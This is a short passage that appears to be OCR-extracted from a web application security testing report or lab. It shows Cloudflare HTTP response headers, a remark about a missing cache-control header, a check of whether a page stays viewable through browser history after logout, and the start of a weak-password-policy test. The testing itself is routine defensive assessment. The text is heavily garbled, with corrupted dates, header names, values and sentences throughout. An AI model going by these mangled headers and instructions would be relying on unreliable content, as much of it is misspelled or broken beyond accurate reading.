Date: Fri, 02 Mar ZOLlS8 07:12:17 GMT

Content-Type: text/html; charsec=UTF-8

Commection: close

Vary: Accept-Encoding

Expect-CT: max-age=£04800, report-uri="https:/ report-uri.cloudflare. con/cdn-cgi/beacon/expect-ct"”
Serwer: cloudflare

CF-RAY: Z2f5I20dddSeEba308-HEG

Content-Length: 1551

As you can see, we are not have any Cadmrol header imesponse packet.

A

From message board page, l etdébs <click | ogoint butt
history (Ctrl + H) choose message boawkewill catch this result out.
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@9 ¢ |® B https://attack.samsclass.info/cookielogin/logout.php?Logout=Logout
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7. Testing for Weak password policy
Test objectives

Determinethe resistance of the application against bfatee passwordyuessing using available
password dictionaries by evaluating the length, complexity, reuse and aging requitdrpasssvords.

How to test:
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